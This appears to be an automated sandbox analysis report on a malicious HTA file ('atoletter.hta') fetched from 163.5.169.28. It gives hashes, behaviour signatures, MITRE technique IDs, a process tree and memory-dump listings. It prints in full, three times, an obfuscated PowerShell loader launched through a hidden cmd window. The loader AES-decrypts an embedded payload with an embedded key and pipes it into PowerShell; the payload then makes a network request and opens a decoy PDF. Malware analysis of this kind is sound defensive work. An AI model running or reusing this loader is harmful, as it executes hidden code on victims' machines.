3f04d3267f818beec7a5f29a7780282bdf862a71669230b796b77700a494b55d

Resubmissions

21-01-2025 11:24

250121-nh1zvs1qak 10

10-01-2024 21:28

240110-1ba63sgfdp 10

Analysis

max time kernel
9s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20231222-en
resource tags

arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
submitted
10-01-2024 21:28

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Report Analysis Logs

General

Target

163.5.169.28/atoletter.hta
Size

1.1MB
MD5

47b67f1ef2ff1967fd6eee7f2eee2a79
SHA1

e53cecf356df43405a19daf75ff5dcfd8b44f2ce
SHA256

6c4beabd874f9b38209eb0cc585fc19407edc997ffb0bf0897c34bf4552f5194
SHA512

d9586f412e0a9cecc5909cde9391def8c338ca086ba506366076816f6a4ce8309176e884a133bc11bec731bf1d9bf3b027e42ef6a49b545b000ffee60c6d42b9
SSDEEP

1536:jxr5/6p/OpbQEcQIKdquZcod/zA4l2ZFmr/l1vcmafSIm+lIWFeQnoxLPCQwkcUC:jxV6JsMEcQIQZcod/c4K

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
23	644	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
624	644	WerFault.exe	94

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AcroRd32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	AcroRd32.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2772	powershell.exe
2772	powershell.exe
2212	powershell.exe
644	powershell.exe
2212	powershell.exe
644	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2772	powershell.exe
Token: SeDebugPrivilege	2212	powershell.exe
Token: SeDebugPrivilege	644	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
1088	AcroRd32.exe
1088	AcroRd32.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 4732 wrote to memory of 2772	4732	mshta.exe	92
PID 4732 wrote to memory of 2772	4732	mshta.exe	92
PID 4732 wrote to memory of 2772	4732	mshta.exe	92
PID 2772 wrote to memory of 1620	2772	powershell.exe	96
PID 2772 wrote to memory of 1620	2772	powershell.exe	96
PID 2772 wrote to memory of 1620	2772	powershell.exe	96
PID 1620 wrote to memory of 2212	1620	cmd.exe	95
PID 1620 wrote to memory of 2212	1620	cmd.exe	95
PID 1620 wrote to memory of 2212	1620	cmd.exe	95
PID 1620 wrote to memory of 644	1620	cmd.exe	94
PID 1620 wrote to memory of 644	1620	cmd.exe	94
PID 1620 wrote to memory of 644	1620	cmd.exe	94
PID 644 wrote to memory of 1088	644	powershell.exe	101
PID 644 wrote to memory of 1088	644	powershell.exe	101
PID 644 wrote to memory of 1088	644	powershell.exe	101

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\163.5.169.28\atoletter.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4732
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $ouWgc = 'AAAAAAAAAAAAAAAAAAAAAJJ5zJYQm1Zc3enanMEM+VL8ZXuICb6VwD675Ng9elcpqLdG6ICh9Z7Z+T51gQRQ54EMOhzaaSKbTBu4JpiwL439fdXQDT70+pvcz4RAG9WpVYj59gf8JaM5/R8GHz+RAh72y7CFTElnWpJnPOWSmBQLOZzt0/lBGIkvo8CCtfb+eoNNtY2qVZkiAiAE6K+1AcPNbpKkdt2t5p905qBeTBpO6XAM14DJwkfG7/JjNjMsMQzmCMn900E9A/D38WhuXhXNdolwgKNr82S1P6WR1jGJ1gK19IH0Yo3o6Ztbp9t1W/MpsUmKvbfRGfR+ujtzM+BljKf4x7/C/vh5ROlaoxrfVeR8YjlVRWrrqqr2fGu8nJDe0R47zcHiTPa3KDIRm6DxbDsdWwgFmSg22QwwLcekZa7ZsJmI7LY/ARBjtZI/uinhgNJH4bHID52dCZCC4HxLBKiAyMoMVl2FFGmLmSjzZDw2lfAMj8Osj0hEeHMIP2hy1bX0/15KOCW1DFmWuGICLq0Nq4Zmv/QuJQ7JJzHGeayZXoawKVf34y++mDaahJecdnyL9nEeoj6HdBD+pbzL3yfP+KDYqFFrdqq/KdDyKTTNKpPflyInMJDn8TKDxPN7ZiDFKwB4g4qIgpGv4Age35rADhVpEO20ONR7t/shCgdp6aRd/69Fs6d6oNFyqD16GjcDt5AlFS8MEbpB/gwoQVV/TXaFs7IkfK389w1VVdMbud4LbHn2nm1Ie7ocZ2DJX4q4RmJ/tbS8OK0FttxyOhIhAiHBAWZJvHlRbRfRUtPOa0jUukf9ZO1r91Q0rU/bS4F6tyTahbT2YwftbqECzalSKVlMJ4p+3OaDWYWaGKodeuIhrdOyygIGnBKJQZHupLP00vzuBei0GseoaAi9dnz5Oca+4yosxHX12VS1HYHcMU5QKbFLcavV8R3NlHLe8M0rFUdnuvw+Tln4dQUk+lyNDVIIgikZGMcaDmRGCoDwy4sjJg7O4Lcqxbp0JOKIs7nB7vGDZQvqJlASEQ==';$KpoWkt = 'cGlRTW1jb0JrYXNBRWliZEFhV29NTlFZdUZoZmRYTHM=';$gzZYTwF = New-Object 'System.Security.Cryptography.AesManaged';$gzZYTwF.Mode = [System.Security.Cryptography.CipherMode]::ECB;$gzZYTwF.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$gzZYTwF.BlockSize = 128;$gzZYTwF.KeySize = 256;$gzZYTwF.Key = [System.Convert]::FromBase64String($KpoWkt);$aNMav = [System.Convert]::FromBase64String($ouWgc);$NtOIkJQM = $aNMav[0..15];$gzZYTwF.IV = $NtOIkJQM;$iZrffCtxZ = $gzZYTwF.CreateDecryptor();$gUtySeDSJ = $iZrffCtxZ.TransformFinalBlock($aNMav, 16, $aNMav.Length - 16);$gzZYTwF.Dispose();$ggfKN = New-Object System.IO.MemoryStream( , $gUtySeDSJ );$PQcPw = New-Object System.IO.MemoryStream;$kxDrFXdIy = New-Object System.IO.Compression.GzipStream $ggfKN, ([IO.Compression.CompressionMode]::Decompress);$kxDrFXdIy.CopyTo( $PQcPw );$kxDrFXdIy.Close();$ggfKN.Close();[byte[]] $rFrmBzrz = $PQcPw.ToArray();$CHvPLqa = [System.Text.Encoding]::UTF8.GetString($rFrmBzrz);$CHvPLqa | powershell - }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2772
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c powershell.exe $ouWgc = 'AAAAAAAAAAAAAAAAAAAAAJJ5zJYQm1Zc3enanMEM+VL8ZXuICb6VwD675Ng9elcpqLdG6ICh9Z7Z+T51gQRQ54EMOhzaaSKbTBu4JpiwL439fdXQDT70+pvcz4RAG9WpVYj59gf8JaM5/R8GHz+RAh72y7CFTElnWpJnPOWSmBQLOZzt0/lBGIkvo8CCtfb+eoNNtY2qVZkiAiAE6K+1AcPNbpKkdt2t5p905qBeTBpO6XAM14DJwkfG7/JjNjMsMQzmCMn900E9A/D38WhuXhXNdolwgKNr82S1P6WR1jGJ1gK19IH0Yo3o6Ztbp9t1W/MpsUmKvbfRGfR+ujtzM+BljKf4x7/C/vh5ROlaoxrfVeR8YjlVRWrrqqr2fGu8nJDe0R47zcHiTPa3KDIRm6DxbDsdWwgFmSg22QwwLcekZa7ZsJmI7LY/ARBjtZI/uinhgNJH4bHID52dCZCC4HxLBKiAyMoMVl2FFGmLmSjzZDw2lfAMj8Osj0hEeHMIP2hy1bX0/15KOCW1DFmWuGICLq0Nq4Zmv/QuJQ7JJzHGeayZXoawKVf34y++mDaahJecdnyL9nEeoj6HdBD+pbzL3yfP+KDYqFFrdqq/KdDyKTTNKpPflyInMJDn8TKDxPN7ZiDFKwB4g4qIgpGv4Age35rADhVpEO20ONR7t/shCgdp6aRd/69Fs6d6oNFyqD16GjcDt5AlFS8MEbpB/gwoQVV/TXaFs7IkfK389w1VVdMbud4LbHn2nm1Ie7ocZ2DJX4q4RmJ/tbS8OK0FttxyOhIhAiHBAWZJvHlRbRfRUtPOa0jUukf9ZO1r91Q0rU/bS4F6tyTahbT2YwftbqECzalSKVlMJ4p+3OaDWYWaGKodeuIhrdOyygIGnBKJQZHupLP00vzuBei0GseoaAi9dnz5Oca+4yosxHX12VS1HYHcMU5QKbFLcavV8R3NlHLe8M0rFUdnuvw+Tln4dQUk+lyNDVIIgikZGMcaDmRGCoDwy4sjJg7O4Lcqxbp0JOKIs7nB7vGDZQvqJlASEQ==';$KpoWkt = 'cGlRTW1jb0JrYXNBRWliZEFhV29NTlFZdUZoZmRYTHM=';$gzZYTwF = New-Object 'System.Security.Cryptography.AesManaged';$gzZYTwF.Mode = [System.Security.Cryptography.CipherMode]::ECB;$gzZYTwF.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$gzZYTwF.BlockSize = 128;$gzZYTwF.KeySize = 256;$gzZYTwF.Key = [System.Convert]::FromBase64String($KpoWkt);$aNMav = [System.Convert]::FromBase64String($ouWgc);$NtOIkJQM = $aNMav[0..15];$gzZYTwF.IV = $NtOIkJQM;$iZrffCtxZ = $gzZYTwF.CreateDecryptor();$gUtySeDSJ = $iZrffCtxZ.TransformFinalBlock($aNMav, 16, $aNMav.Length - 16);$gzZYTwF.Dispose();$ggfKN = New-Object System.IO.MemoryStream( , $gUtySeDSJ );$PQcPw = New-Object System.IO.MemoryStream;$kxDrFXdIy = New-Object System.IO.Compression.GzipStream $ggfKN, ([IO.Compression.CompressionMode]::Decompress);$kxDrFXdIy.CopyTo( $PQcPw );$kxDrFXdIy.Close();$ggfKN.Close();[byte[]] $rFrmBzrz = $PQcPw.ToArray();$CHvPLqa = [System.Text.Encoding]::UTF8.GetString($rFrmBzrz);$CHvPLqa | powershell -
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1620

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -
1⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:644
- C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
  "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\SCAN-atoletter2.pdf"
  2⤵
  - Checks processor information in registry
  - Suspicious use of SetWindowsHookEx
  PID:1088
- - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
    "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
    3⤵
    PID:2452
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=A98B9F5D4699461191AB87CEF6D4D30A --mojo-platform-channel-handle=1744 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
      4⤵
      PID:4048
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=19F7BE8675F4ACBB0A0693F25D1C94F5 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=19F7BE8675F4ACBB0A0693F25D1C94F5 --renderer-client-id=2 --mojo-platform-channel-handle=1768 --allow-no-sandbox-job /prefetch:1
      4⤵
      PID:4988
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=40ECB81FB1E59B2E8AC007020A8A4E00 --mojo-platform-channel-handle=2292 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
      4⤵
      PID:3648
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=374144ACF5A1C4B19A9E7A86919BBF51 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=374144ACF5A1C4B19A9E7A86919BBF51 --renderer-client-id=6 --mojo-platform-channel-handle=2148 --allow-no-sandbox-job /prefetch:1
      4⤵
      PID:4564
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=4A14D477341AC9DFEAC4CE69112C16F3 --mojo-platform-channel-handle=1920 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
      4⤵
      PID:4976
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=32353FF51F29649EEE576B33B8E2C1F8 --mojo-platform-channel-handle=2616 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
      4⤵
      PID:4128
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 644 -s 3064
  2⤵
  - Program crash
  PID:624

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe $ouWgc = 'AAAAAAAAAAAAAAAAAAAAAJJ5zJYQm1Zc3enanMEM+VL8ZXuICb6VwD675Ng9elcpqLdG6ICh9Z7Z+T51gQRQ54EMOhzaaSKbTBu4JpiwL439fdXQDT70+pvcz4RAG9WpVYj59gf8JaM5/R8GHz+RAh72y7CFTElnWpJnPOWSmBQLOZzt0/lBGIkvo8CCtfb+eoNNtY2qVZkiAiAE6K+1AcPNbpKkdt2t5p905qBeTBpO6XAM14DJwkfG7/JjNjMsMQzmCMn900E9A/D38WhuXhXNdolwgKNr82S1P6WR1jGJ1gK19IH0Yo3o6Ztbp9t1W/MpsUmKvbfRGfR+ujtzM+BljKf4x7/C/vh5ROlaoxrfVeR8YjlVRWrrqqr2fGu8nJDe0R47zcHiTPa3KDIRm6DxbDsdWwgFmSg22QwwLcekZa7ZsJmI7LY/ARBjtZI/uinhgNJH4bHID52dCZCC4HxLBKiAyMoMVl2FFGmLmSjzZDw2lfAMj8Osj0hEeHMIP2hy1bX0/15KOCW1DFmWuGICLq0Nq4Zmv/QuJQ7JJzHGeayZXoawKVf34y++mDaahJecdnyL9nEeoj6HdBD+pbzL3yfP+KDYqFFrdqq/KdDyKTTNKpPflyInMJDn8TKDxPN7ZiDFKwB4g4qIgpGv4Age35rADhVpEO20ONR7t/shCgdp6aRd/69Fs6d6oNFyqD16GjcDt5AlFS8MEbpB/gwoQVV/TXaFs7IkfK389w1VVdMbud4LbHn2nm1Ie7ocZ2DJX4q4RmJ/tbS8OK0FttxyOhIhAiHBAWZJvHlRbRfRUtPOa0jUukf9ZO1r91Q0rU/bS4F6tyTahbT2YwftbqECzalSKVlMJ4p+3OaDWYWaGKodeuIhrdOyygIGnBKJQZHupLP00vzuBei0GseoaAi9dnz5Oca+4yosxHX12VS1HYHcMU5QKbFLcavV8R3NlHLe8M0rFUdnuvw+Tln4dQUk+lyNDVIIgikZGMcaDmRGCoDwy4sjJg7O4Lcqxbp0JOKIs7nB7vGDZQvqJlASEQ==';$KpoWkt = 'cGlRTW1jb0JrYXNBRWliZEFhV29NTlFZdUZoZmRYTHM=';$gzZYTwF = New-Object 'System.Security.Cryptography.AesManaged';$gzZYTwF.Mode = [System.Security.Cryptography.CipherMode]::ECB;$gzZYTwF.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$gzZYTwF.BlockSize = 128;$gzZYTwF.KeySize = 256;$gzZYTwF.Key = [System.Convert]::FromBase64String($KpoWkt);$aNMav = [System.Convert]::FromBase64String($ouWgc);$NtOIkJQM = $aNMav[0..15];$gzZYTwF.IV = $NtOIkJQM;$iZrffCtxZ = $gzZYTwF.CreateDecryptor();$gUtySeDSJ = $iZrffCtxZ.TransformFinalBlock($aNMav, 16, $aNMav.Length - 16);$gzZYTwF.Dispose();$ggfKN = New-Object System.IO.MemoryStream( , $gUtySeDSJ );$PQcPw = New-Object System.IO.MemoryStream;$kxDrFXdIy = New-Object System.IO.Compression.GzipStream $ggfKN, ([IO.Compression.CompressionMode]::Decompress);$kxDrFXdIy.CopyTo( $PQcPw );$kxDrFXdIy.Close();$ggfKN.Close();[byte[]] $rFrmBzrz = $PQcPw.ToArray();$CHvPLqa = [System.Text.Encoding]::UTF8.GetString($rFrmBzrz);$CHvPLqa
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2212

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 180 -p 644 -ip 644
1⤵
PID:4784

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4284

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/644-50-0x0000000002520000-0x0000000002530000-memory.dmp

Filesize
64KB

Download
memory/644-77-0x00000000711C0000-0x0000000071970000-memory.dmp

Filesize
7.7MB

Download
memory/644-61-0x0000000007E30000-0x0000000007E62000-memory.dmp

Filesize
200KB

Download
memory/644-62-0x000000006DA80000-0x000000006DACC000-memory.dmp

Filesize
304KB

Download
memory/644-73-0x0000000007E70000-0x0000000007E8E000-memory.dmp

Filesize
120KB

Download
memory/644-76-0x0000000007F90000-0x0000000007F9A000-memory.dmp

Filesize
40KB

Download
memory/644-74-0x0000000007E90000-0x0000000007F33000-memory.dmp

Filesize
652KB

Download
memory/644-63-0x000000006DBE0000-0x000000006DF34000-memory.dmp

Filesize
3.3MB

Download
memory/644-60-0x000000007F680000-0x000000007F690000-memory.dmp

Filesize
64KB

Download
memory/644-54-0x0000000006FF0000-0x0000000007066000-memory.dmp

Filesize
472KB

Download
memory/644-52-0x0000000006270000-0x00000000062B4000-memory.dmp

Filesize
272KB

Download
memory/644-40-0x00000000711C0000-0x0000000071970000-memory.dmp

Filesize
7.7MB

Download
memory/2212-56-0x00000000711C0000-0x0000000071970000-memory.dmp

Filesize
7.7MB

Download
memory/2212-29-0x0000000002C40000-0x0000000002C50000-memory.dmp

Filesize
64KB

Download
memory/2212-53-0x0000000007F00000-0x000000000857A000-memory.dmp

Filesize
6.5MB

Download
memory/2212-28-0x00000000711C0000-0x0000000071970000-memory.dmp

Filesize
7.7MB

Download
memory/2212-30-0x0000000002C40000-0x0000000002C50000-memory.dmp

Filesize
64KB

Download
memory/2772-18-0x00000000068F0000-0x000000000690E000-memory.dmp

Filesize
120KB

Download
memory/2772-0-0x0000000003020000-0x0000000003056000-memory.dmp

Filesize
216KB

Download
memory/2772-21-0x0000000006DF0000-0x0000000006E0A000-memory.dmp

Filesize
104KB

Download
memory/2772-26-0x00000000711C0000-0x0000000071970000-memory.dmp

Filesize
7.7MB

Download
memory/2772-19-0x00000000069A0000-0x00000000069EC000-memory.dmp

Filesize
304KB

Download
memory/2772-20-0x0000000007940000-0x00000000079D6000-memory.dmp

Filesize
600KB

Download
memory/2772-23-0x0000000007F90000-0x0000000008534000-memory.dmp

Filesize
5.6MB

Download
memory/2772-22-0x0000000006E50000-0x0000000006E72000-memory.dmp

Filesize
136KB

Download
memory/2772-1-0x00000000711C0000-0x0000000071970000-memory.dmp

Filesize
7.7MB

Download
memory/2772-6-0x0000000006230000-0x0000000006296000-memory.dmp

Filesize
408KB

Download
memory/2772-17-0x0000000006410000-0x0000000006764000-memory.dmp

Filesize
3.3MB

Download
memory/2772-7-0x00000000062A0000-0x0000000006306000-memory.dmp

Filesize
408KB

Download
memory/2772-5-0x0000000005950000-0x0000000005972000-memory.dmp

Filesize
136KB

Download
memory/2772-2-0x0000000003010000-0x0000000003020000-memory.dmp

Filesize
64KB

Download
memory/2772-4-0x0000000005AD0000-0x00000000060F8000-memory.dmp

Filesize
6.2MB

Download
memory/2772-3-0x0000000003010000-0x0000000003020000-memory.dmp

Filesize
64KB

Download